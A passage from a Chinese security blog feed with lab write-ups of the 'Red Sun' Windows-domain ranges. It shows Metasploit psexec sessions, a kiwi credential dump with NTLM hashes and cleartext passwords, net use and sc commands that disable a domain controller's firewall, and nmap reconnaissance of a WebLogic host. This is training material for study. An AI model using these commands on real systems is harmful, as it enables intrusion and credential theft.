</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Meterpreter session <span style="color:#ae81ff">8</span> opened <span style="color:#f92672">(</span>192.168.3.100:42267 -&gt; 192.168.93.30:4444<span style="color:#f92672">)</span> at 2024-10-08 19:47:07 +0800
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Session <span style="color:#ae81ff">8</span> created in the background.
</span></span><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>windows/smb/psexec<span style="color:#f92672">)</span> &gt; sessions
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Active sessions
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  Id  Name  Type                     Information                    Connection
</span></span><span style="display:flex;"><span>  --  ----  ----                     -----------                    ----------
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">7</span>         meterpreter x64/windows  NT AUTHORITY<span style="color:#ae81ff">\S</span>YSTEM @ WIN2008  192.168.3.100:39039 -&gt; 192.168.93.20:4444 <span style="color:#f92672">(</span>192.168.93.20<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">8</span>         meterpreter x64/windows  NT AUTHORITY<span style="color:#ae81ff">\S</span>YSTEM @ WIN7     192.168.3.100:42267 -&gt; 192.168.93.30:4444 <span style="color:#f92672">(</span>192.168.93.30<span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="kiwi模块获取dc凭据">kiwi模块获取DC凭据</h3>
<p>还剩下一个域控机器,先进入win2008的会话中,加载一下kiwi</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>meterpreter &gt; creds_all
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Running as SYSTEM
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Retrieving all credentials
</span></span><span style="display:flex;"><span>msv credentials
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Username       Domain   LM                                NTLM                              SHA1
</span></span><span style="display:flex;"><span>--------       ------   --                                ----                              ----
</span></span><span style="display:flex;"><span>Administrator  TEST     fc5d63d71569f04399b419bc76e2eb34  18edd0cc3227be3bf61ce198835a1d97  0f058e319f079c15fe3449bbeffc086cfa4d231e
</span></span><span style="display:flex;"><span>Administrator  WIN2008  ae946ec6f4ca785b93371dee1d5ee7e6  31c1794c5aa8547c87a8bcd0324b8337  128c0272959b85b330090611169d07d85cb6bd0b
</span></span><span style="display:flex;"><span>WIN2008$       TEST                                       c47b1f47431b259861e615472864c698  5a09ade7dca624916c39473fd609c22302dd33bc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wdigest credentials
</span></span><span style="display:flex;"><span><span style="color:#f92672">===================</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Username       Domain   Password
</span></span><span style="display:flex;"><span>--------       ------   --------
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>null<span style="color:#f92672">)</span>         <span style="color:#f92672">(</span>null<span style="color:#f92672">)</span>   <span style="color:#f92672">(</span>null<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Administrator  TEST     zxcASDqw123!!
</span></span><span style="display:flex;"><span>Administrator  WIN2008  123qwe!ASD
</span></span><span style="display:flex;"><span>WIN2008$       TEST     <span style="color:#ae81ff">94</span> 1f <span style="color:#ae81ff">08</span> <span style="color:#ae81ff">44</span> 5a 0c 6d 4d dd a9 9d <span style="color:#ae81ff">09</span> 7a d0 <span style="color:#ae81ff">72</span> bb e9 <span style="color:#ae81ff">81</span> <span style="color:#ae81ff">69</span> 7e <span style="color:#ae81ff">96</span> 9f <span style="color:#ae81ff">78</span> <span style="color:#ae81ff">74</span> f2 9e d3 f2 <span style="color:#ae81ff">98</span> <span style="color:#ae81ff">74</span> 7a 2f <span style="color:#ae81ff">49</span> 4e b7 <span style="color:#ae81ff">18</span> <span style="color:#ae81ff">01</span> e5 <span style="color:#ae81ff">94</span> <span style="color:#ae81ff">75</span> 8f <span style="color:#ae81ff">57</span> <span style="color:#ae81ff">11</span> <span style="color:#ae81ff">44</span> d4 <span style="color:#ae81ff">31</span> <span style="color:#ae81ff">17</span>   
</span></span><span style="display:flex;"><span>                        <span style="color:#ae81ff">92</span> <span style="color:#ae81ff">25</span> 2a d4 <span style="color:#ae81ff">96</span> <span style="color:#ae81ff">73</span> <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">95</span> <span style="color:#ae81ff">87</span> ec <span style="color:#ae81ff">34</span> e8 <span style="color:#ae81ff">96</span> <span style="color:#ae81ff">74</span> 8f b6 0a ef <span style="color:#ae81ff">05</span> <span style="color:#ae81ff">17</span> af 2e 5b <span style="color:#ae81ff">08</span> f7 6c 4e ad 9c 3e b0 e1 c8 2f 8f bd e3 b2 e7 <span style="color:#ae81ff">81</span> <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">09</span> <span style="color:#ae81ff">96</span> f6 <span style="color:#ae81ff">75</span> b5 0d   
</span></span><span style="display:flex;"><span>                        c1 e1 <span style="color:#ae81ff">61</span> <span style="color:#ae81ff">07</span> d2 a8 <span style="color:#ae81ff">99</span> e5 5f 7d e9 0c <span style="color:#ae81ff">76</span> a3 7e <span style="color:#ae81ff">51</span> e5 f1 d0 f0 da c5 0c <span style="color:#ae81ff">88</span> d0 1c <span style="color:#ae81ff">59</span> <span style="color:#ae81ff">34</span> b9 3e <span style="color:#ae81ff">14</span> ab a1 7b <span style="color:#ae81ff">56</span> cd 9d <span style="color:#ae81ff">67</span> d3 <span style="color:#ae81ff">19</span> c7 ad d9 b2 8d <span style="color:#ae81ff">72</span> e9   
</span></span><span style="display:flex;"><span>                        2a c2 d0 be ff e7 e7 d2 <span style="color:#ae81ff">60</span> <span style="color:#ae81ff">85</span> 9a <span style="color:#ae81ff">99</span> <span style="color:#ae81ff">74</span> 8c d5 0a b5 1c <span style="color:#ae81ff">58</span> <span style="color:#ae81ff">31</span> <span style="color:#ae81ff">28</span> de <span style="color:#ae81ff">15</span> <span style="color:#ae81ff">51</span> <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">58</span> 8a da 3a db <span style="color:#ae81ff">61</span> 5d be f9 d5 b8 a8 5c fe <span style="color:#ae81ff">19</span> <span style="color:#ae81ff">06</span> f6 ac ac <span style="color:#ae81ff">26</span> 6d <span style="color:#ae81ff">22</span>   
</span></span><span style="display:flex;"><span>                        <span style="color:#ae81ff">80</span> e3 f4 f6 <span style="color:#ae81ff">49</span> f8 <span style="color:#ae81ff">92</span> <span style="color:#ae81ff">78</span> 9b a7 <span style="color:#ae81ff">36</span> 6d f7 c4 <span style="color:#ae81ff">10</span> a3 8e <span style="color:#ae81ff">19</span> <span style="color:#ae81ff">83</span> c5 <span style="color:#ae81ff">84</span> ff 3f fc 9c <span style="color:#ae81ff">35</span> <span style="color:#ae81ff">81</span> 2d <span style="color:#ae81ff">35</span> <span style="color:#ae81ff">42</span> 8a <span style="color:#ae81ff">30</span> 5a 7e ca ee 3f <span style="color:#ae81ff">50</span> 0b c8 c6 <span style="color:#ae81ff">68</span> a8 <span style="color:#ae81ff">24</span> cc c0 <span style="color:#ae81ff">52</span>   
</span></span><span style="display:flex;"><span>                        5e b8 <span style="color:#ae81ff">37</span> <span style="color:#ae81ff">30</span> b7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tspkg credentials
</span></span><span style="display:flex;"><span><span style="color:#f92672">=================</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Username       Domain   Password
</span></span><span style="display:flex;"><span>--------       ------   --------
</span></span><span style="display:flex;"><span>Administrator  TEST     zxcASDqw123!!
</span></span><span style="display:flex;"><span>Administrator  WIN2008  123qwe!ASD
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>kerberos credentials
</span></span><span style="display:flex;"><span><span style="color:#f92672">====================</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Username       Domain    Password
</span></span><span style="display:flex;"><span>--------       ------    --------
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>null<span style="color:#f92672">)</span>         <span style="color:#f92672">(</span>null<span style="color:#f92672">)</span>    <span style="color:#f92672">(</span>null<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Administrator  TEST.ORG  zxcASDqw123!!
</span></span><span style="display:flex;"><span>Administrator  WIN2008   123qwe!ASD
</span></span><span style="display:flex;"><span>win2008$       TEST.ORG  <span style="color:#ae81ff">94</span> 1f <span style="color:#ae81ff">08</span> <span style="color:#ae81ff">44</span> 5a 0c 6d 4d dd a9 9d <span style="color:#ae81ff">09</span> 7a d0 <span style="color:#ae81ff">72</span> bb e9 <span style="color:#ae81ff">81</span> <span style="color:#ae81ff">69</span> 7e <span style="color:#ae81ff">96</span> 9f <span style="color:#ae81ff">78</span> <span style="color:#ae81ff">74</span> f2 9e d3 f2 <span style="color:#ae81ff">98</span> <span style="color:#ae81ff">74</span> 7a 2f <span style="color:#ae81ff">49</span> 4e b7 <span style="color:#ae81ff">18</span> <span style="color:#ae81ff">01</span> e5 <span style="color:#ae81ff">94</span> <span style="color:#ae81ff">75</span> 8f <span style="color:#ae81ff">57</span> <span style="color:#ae81ff">11</span> <span style="color:#ae81ff">44</span> d4 <span style="color:#ae81ff">31</span> <span style="color:#ae81ff">17</span>  
</span></span><span style="display:flex;"><span>                          <span style="color:#ae81ff">92</span> <span style="color:#ae81ff">25</span> 2a d4 <span style="color:#ae81ff">96</span> <span style="color:#ae81ff">73</span> <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">95</span> <span style="color:#ae81ff">87</span> ec <span style="color:#ae81ff">34</span> e8 <span style="color:#ae81ff">96</span> <span style="color:#ae81ff">74</span> 8f b6 0a ef <span style="color:#ae81ff">05</span> <span style="color:#ae81ff">17</span> af 2e 5b <span style="color:#ae81ff">08</span> f7 6c 4e ad 9c 3e b0 e1 c8 2f 8f bd e3 b2 e7 <span style="color:#ae81ff">81</span> <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">09</span> <span style="color:#ae81ff">96</span> f6 <span style="color:#ae81ff">75</span> b5 <span style="color:#ae81ff">0</span>  
</span></span><span style="display:flex;"><span>                         d c1 e1 <span style="color:#ae81ff">61</span> <span style="color:#ae81ff">07</span> d2 a8 <span style="color:#ae81ff">99</span> e5 5f 7d e9 0c <span style="color:#ae81ff">76</span> a3 7e <span style="color:#ae81ff">51</span> e5 f1 d0 f0 da c5 0c <span style="color:#ae81ff">88</span> d0 1c <span style="color:#ae81ff">59</span> <span style="color:#ae81ff">34</span> b9 3e <span style="color:#ae81ff">14</span> ab a1 7b <span style="color:#ae81ff">56</span> cd 9d <span style="color:#ae81ff">67</span> d3 <span style="color:#ae81ff">19</span> c7 ad d9 b2 8d <span style="color:#ae81ff">72</span>   
</span></span><span style="display:flex;"><span>                         e9 2a c2 d0 be ff e7 e7 d2 <span style="color:#ae81ff">60</span> <span style="color:#ae81ff">85</span> 9a <span style="color:#ae81ff">99</span> <span style="color:#ae81ff">74</span> 8c d5 0a b5 1c <span style="color:#ae81ff">58</span> <span style="color:#ae81ff">31</span> <span style="color:#ae81ff">28</span> de <span style="color:#ae81ff">15</span> <span style="color:#ae81ff">51</span> <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">58</span> 8a da 3a db <span style="color:#ae81ff">61</span> 5d be f9 d5 b8 a8 5c fe <span style="color:#ae81ff">19</span> <span style="color:#ae81ff">06</span> f6 ac ac <span style="color:#ae81ff">26</span> 6d  
</span></span><span style="display:flex;"><span>                          <span style="color:#ae81ff">22</span> <span style="color:#ae81ff">80</span> e3 f4 f6 <span style="color:#ae81ff">49</span> f8 <span style="color:#ae81ff">92</span> <span style="color:#ae81ff">78</span> 9b a7 <span style="color:#ae81ff">36</span> 6d f7 c4 <span style="color:#ae81ff">10</span> a3 8e <span style="color:#ae81ff">19</span> <span style="color:#ae81ff">83</span> c5 <span style="color:#ae81ff">84</span> ff 3f fc 9c <span style="color:#ae81ff">35</span> <span style="color:#ae81ff">81</span> 2d <span style="color:#ae81ff">35</span> <span style="color:#ae81ff">42</span> 8a <span style="color:#ae81ff">30</span> 5a 7e ca ee 3f <span style="color:#ae81ff">50</span> 0b c8 c6 <span style="color:#ae81ff">68</span> a8 <span style="color:#ae81ff">24</span> cc c  
</span></span><span style="display:flex;"><span>                         <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">52</span> 5e b8 <span style="color:#ae81ff">37</span> <span style="color:#ae81ff">30</span> b7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>meterpreter &gt; 
</span></span></code></pre></div><p>接下来就是尝试登录域控</p>
<h3 id="关闭域控防火墙并拿到session">关闭域控防火墙并拿到session</h3>
<p>这里先使用win7的session来关闭win2012域控机器的防火墙</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>net use <span style="color:#ae81ff">\\</span>192.168.93.10<span style="color:#ae81ff">\i</span>pc$ <span style="color:#e6db74">&#34;zxcASDqw123!!&#34;</span> /user:<span style="color:#e6db74">&#34;Administrator&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sc <span style="color:#ae81ff">\\</span>192.168.93.10 create unablefirewall binpath<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;netsh advfirewall set allprofiles state off&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sc <span style="color:#ae81ff">\\</span>192.168.93.10 start unablefirewall
</span></span></code></pre></div><p>然后在使用msf的psexec模块拿shell
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_18.png" alt="" /></figure>
</p>
<p>发现还有不少东西要学,win和linux的免杀,win域渗透,权限维持&hellip;.我还要继续学下去吗,已经沉没的比较多了
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_19.png" alt="" /></figure>
</p>
<p>最后偷一张拓扑图
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_20.png" alt="" /></figure>
</p>
<h1 id="引用">引用</h1>
<p><a href="https://blog.csdn.net/qq_47289634/article/details/132021341" target="_blank" rel="noopener nofollow noreferrer" >https://blog.csdn.net/qq_47289634/article/details/132021341</a></p>
<p><a href="https://blog.csdn.net/2301_76227305/article/details/139067562" target="_blank" rel="noopener nofollow noreferrer" >https://blog.csdn.net/2301_76227305/article/details/139067562</a></p>
<p><a href="https://www.bilibili.com/read/cv33395770/" target="_blank" rel="noopener nofollow noreferrer" >https://www.bilibili.com/read/cv33395770/</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[红日靶场2_win域]]></title><link href="https://l1uyun.one/posts/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA2/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA2/</id>
            
            <published>2024-09-28T11:10:12+08:00</published>
            <updated>2025-09-29T20:51:17+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="前言">前言</h1>
<p>环境和红日1的环境搭建差不多，不过这次给三台机器分别是域控、web服务器、个人PC机，与红日1不同的是这里将域管换成了个人PC机，因此我们的一些操作也会有所不同</p>
<h1 id="红日靶场2_win域">红日靶场2_win域</h1>
<h2 id="搭建环境">搭建环境</h2>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_1.png" alt="" /></figure>
</p>
<pre tabindex="0"><code>administrator
1qaz@WSX
默认密码都是1qaz@WSX
</code></pre><p>这里需要模拟内网环境,所以需要弄一个内网网卡</p>
<p>创建一个vmnet2
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_2.png" alt="" /></figure>
</p>
<p>然后把三台机器的网卡2都改成这个vmnet2就行了
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_3.png" alt="" /></figure>
<p>DC机器不需要做什么处理,改完网卡直接启动就行</p></p>
<p>这里的另外一个网卡,作者设置的是111网段,但是我习惯了自己的ip,所以选择改pc和web两台机器里面的ip</p>
<p>先改一下pc这台机器,这台先改下ip
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_4.png" alt="" /></figure>
<p>再测试一下连通性,使用外部的parrot机器ping一下,没通,需要关闭防火墙</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_5.png" alt="" /></figure>
</p>
<p>最后配置web机器,web机器需要先将恢复快照1.3版本
会出现一个报错,直接点放弃就行,<strong>这里恢复快照之后,需要重新改网卡,怪不得ping不通域控的</strong></p>
<p>登录本地用户</p>
<pre tabindex="0"><code>.\de1ay
1qaz@WSX
</code></pre><p>这里提示需要修改密码,我改成1qaz@WSX3
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_6.png" alt="" /></figure>
<p>进去之后直接注销掉,切换成域用户mssql,密码还是1qaz@WSX</p></p>
<p>然后还是先改ip
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_7.png" alt="" /></figure>
</p>
<p>改完之后测试一下两个网段都能不能ping通</p>
<p>ping不通的话得关一下web的防火墙,关掉之后就能ping通了
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_8.png" alt="" /></figure>
</p>
<p>红日1是以phpstudy搭的一个web服务，红日2用的是weblogic。web服务中，我们需要手动打开weblogic</p>
<p>进入这个路径<code>C:\Oracle\Middleware\user_projects\domains\base_domain\bin</code>,没权限的时候,输管理员凭据就行.
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_9.png" alt="" /></figure>
<p>以管理员身份启动一下weblogic</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_10.png" alt="" /></figure>
</p>
<p>搭建时参考的文章提到:
WEB机和PC机：计算机右键-&gt;管理-&gt;配置-&gt;服务-&gt;Server、Workstation、Computer Browser 全部启动（Computer Browser 是关闭的,导致 net view 显示 6118 error 没能解决，在域信息收集时暂时关闭一下防火墙）</p>
<p>我这里web里的Computer Browser是关闭的,我手动打开了,pc机器是正常的.</p>
<p>访问192.168.3.80:7001/console,跳转进去登录页面,环境搭建成功
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_11.png" alt="" /></figure>
</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>web 192.168.3.80
</span></span><span style="display:flex;"><span>pc  192.168.3.201
</span></span><span style="display:flex;"><span>win 192.168.3.99
</span></span><span style="display:flex;"><span>wsl kali 192.168.3.100 
</span></span></code></pre></div><h2 id="外网">外网</h2>
<h3 id="信息收集">信息收集</h3>
<p>先处理web机器</p>
<p>端口扫描出来了不少端口,使用awk做一下处理,提取一下</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>awk -F <span style="color:#e6db74">&#39;/&#39;</span>  <span style="color:#e6db74">&#39;BEGIN {ORS=&#34;,&#34;} {print $1}&#39;</span> a.txt
</span></span></code></pre></div><p>进行-A扫描</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>⇒  sudo nmap -Pn -sT 192.168.3.80  -p80,135,139,445,1433,3389,7001,49152,49153,49154,60966,63624,63632,63634 -A  --min-rate<span style="color:#f92672">=</span><span style="color:#ae81ff">5000</span>
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-09-28 19:40 EDT
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.3.80
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.00057s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE            VERSION
</span></span><span style="display:flex;"><span>80/tcp    open  http               Microsoft IIS httpd 7.5
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/7.5
</span></span><span style="display:flex;"><span>|_http-title: Site doesn<span style="color:#960050;background-color:#1e0010">&#39;</span>t have a title.
</span></span><span style="display:flex;"><span>135/tcp   open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp   open  microsoft-ds       Windows Server <span style="color:#ae81ff">2008</span> R2 Standard <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> microsoft-ds
</span></span><span style="display:flex;"><span>1433/tcp  open  ms-sql-s           Microsoft SQL Server <span style="color:#ae81ff">2008</span> R2 10.50.4000.00; SP2
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>SSL_Self_Signed_Fallback
</span></span><span style="display:flex;"><span>| Not valid before: 2024-09-28T03:49:00
</span></span><span style="display:flex;"><span>|_Not valid after:  2054-09-28T03:49:00
</span></span><span style="display:flex;"><span>| ms-sql-ntlm-info: 
</span></span><span style="display:flex;"><span>|   192.168.3.80:1433:
</span></span><span style="display:flex;"><span>|     Target_Name: DE1AY
</span></span><span style="display:flex;"><span>|     NetBIOS_Domain_Name: DE1AY
</span></span><span style="display:flex;"><span>|     NetBIOS_Computer_Name: WEB
</span></span><span style="display:flex;"><span>|     DNS_Domain_Name: de1ay.com
</span></span><span style="display:flex;"><span>|     DNS_Computer_Name: WEB.de1ay.com
</span></span><span style="display:flex;"><span>|     DNS_Tree_Name: de1ay.com
</span></span><span style="display:flex;"><span>|_    Product_Version: 6.1.7601
</span></span><span style="display:flex;"><span>|_ssl-date: 2024-09-28T23:42:32+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>| ms-sql-info:
</span></span><span style="display:flex;"><span>|   192.168.3.80:1433:
</span></span><span style="display:flex;"><span>|     Version:
</span></span><span style="display:flex;"><span>|       name: Microsoft SQL Server <span style="color:#ae81ff">2008</span> R2 SP2
</span></span><span style="display:flex;"><span>|       number: 10.50.4000.00
</span></span><span style="display:flex;"><span>|       Product: Microsoft SQL Server <span style="color:#ae81ff">2008</span> R2
</span></span><span style="display:flex;"><span>|       Service pack level: SP2
</span></span><span style="display:flex;"><span>|       Post-SP patches applied: false
</span></span><span style="display:flex;"><span>|_    TCP port: <span style="color:#ae81ff">1433</span>
</span></span><span style="display:flex;"><span>3389/tcp  open  ssl/ms-wbt-server?
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>WEB.de1ay.com
</span></span><span style="display:flex;"><span>| Not valid before: 2024-09-27T03:21:26
</span></span><span style="display:flex;"><span>|_Not valid after:  2025-03-29T03:21:26
</span></span><span style="display:flex;"><span>|_ssl-date: 2024-09-28T23:42:32+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>| rdp-ntlm-info:
</span></span><span style="display:flex;"><span>|   Target_Name: DE1AY
</span></span><span style="display:flex;"><span>|   NetBIOS_Domain_Name: DE1AY
</span></span><span style="display:flex;"><span>|   NetBIOS_Computer_Name: WEB
</span></span><span style="display:flex;"><span>|   DNS_Domain_Name: de1ay.com
</span></span><span style="display:flex;"><span>|   DNS_Computer_Name: WEB.de1ay.com
</span></span><span style="display:flex;"><span>|   DNS_Tree_Name: de1ay.com
</span></span><span style="display:flex;"><span>|   Product_Version: 6.1.7601
</span></span><span style="display:flex;"><span>|_  System_Time: 2024-09-28T23:42:27+00:00
</span></span><span style="display:flex;"><span>7001/tcp  open  http               Oracle WebLogic Server 10.3.6.0 <span style="color:#f92672">(</span>Servlet 2.5; JSP 2.1; T3 enabled<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_weblogic-t3-info: T3 protocol in use <span style="color:#f92672">(</span>WebLogic version: 10.3.6.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Error 404--Not Found
</span></span><span style="display:flex;"><span>49152/tcp open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49153/tcp open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49154/tcp open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>60966/tcp open  ms-sql-s           Microsoft SQL Server <span style="color:#ae81ff">2008</span> R2 10.50.4000.00; SP2
</span></span><span style="display:flex;"><span>| ms-sql-ntlm-info:
</span></span><span style="display:flex;"><span>|   192.168.3.80:60966:
</span></span><span style="display:flex;"><span>|     Target_Name: DE1AY
</span></span><span style="display:flex;"><span>|     NetBIOS_Domain_Name: DE1AY
</span></span><span style="display:flex;"><span>|     NetBIOS_Computer_Name: WEB
</span></span><span style="display:flex;"><span>|     DNS_Domain_Name: de1ay.com
</span></span><span style="display:flex;"><span>|     DNS_Computer_Name: WEB.de1ay.com
</span></span><span style="display:flex;"><span>|     DNS_Tree_Name: de1ay.com
</span></span><span style="display:flex;"><span>|_    Product_Version: 6.1.7601
</span></span><span style="display:flex;"><span>| ms-sql-info:
</span></span><span style="display:flex;"><span>|   192.168.3.80:60966:
</span></span><span style="display:flex;"><span>|     Version:
</span></span><span style="display:flex;"><span>|       name: Microsoft SQL Server <span style="color:#ae81ff">2008</span> R2 SP2
</span></span><span style="display:flex;"><span>|       number: 10.50.4000.00
</span></span><span style="display:flex;"><span>|       Product: Microsoft SQL Server <span style="color:#ae81ff">2008</span> R2
</span></span><span style="display:flex;"><span>|       Service pack level: SP2
</span></span><span style="display:flex;"><span>|       Post-SP patches applied: false
</span></span><span style="display:flex;"><span>|_    TCP port: <span style="color:#ae81ff">60966</span>
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>SSL_Self_Signed_Fallback
</span></span><span style="display:flex;"><span>| Not valid before: 2024-09-28T03:49:00
</span></span><span style="display:flex;"><span>|_Not valid after:  2054-09-28T03:49:00
</span></span><span style="display:flex;"><span>|_ssl-date: 2024-09-28T23:42:32+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>63624/tcp open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>63632/tcp open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>63634/tcp open  msrpc              Microsoft Windows RPC
</span></span><span style="display:flex;"><span>MAC Address: 00:0C:29:42:36:4C <span style="color:#f92672">(</span>VMware<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least <span style="color:#ae81ff">1</span> open and <span style="color:#ae81ff">1</span> closed port
</span></span><span style="display:flex;"><span>Device type: general purpose
</span></span><span style="display:flex;"><span>Running: Microsoft Windows Vista|7|8.1
</span></span><span style="display:flex;"><span>OS CPE: cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1
</span></span><span style="display:flex;"><span>OS details: Microsoft Windows Vista, Windows <span style="color:#ae81ff">7</span> SP1, or Windows 8.1 Update <span style="color:#ae81ff">1</span>
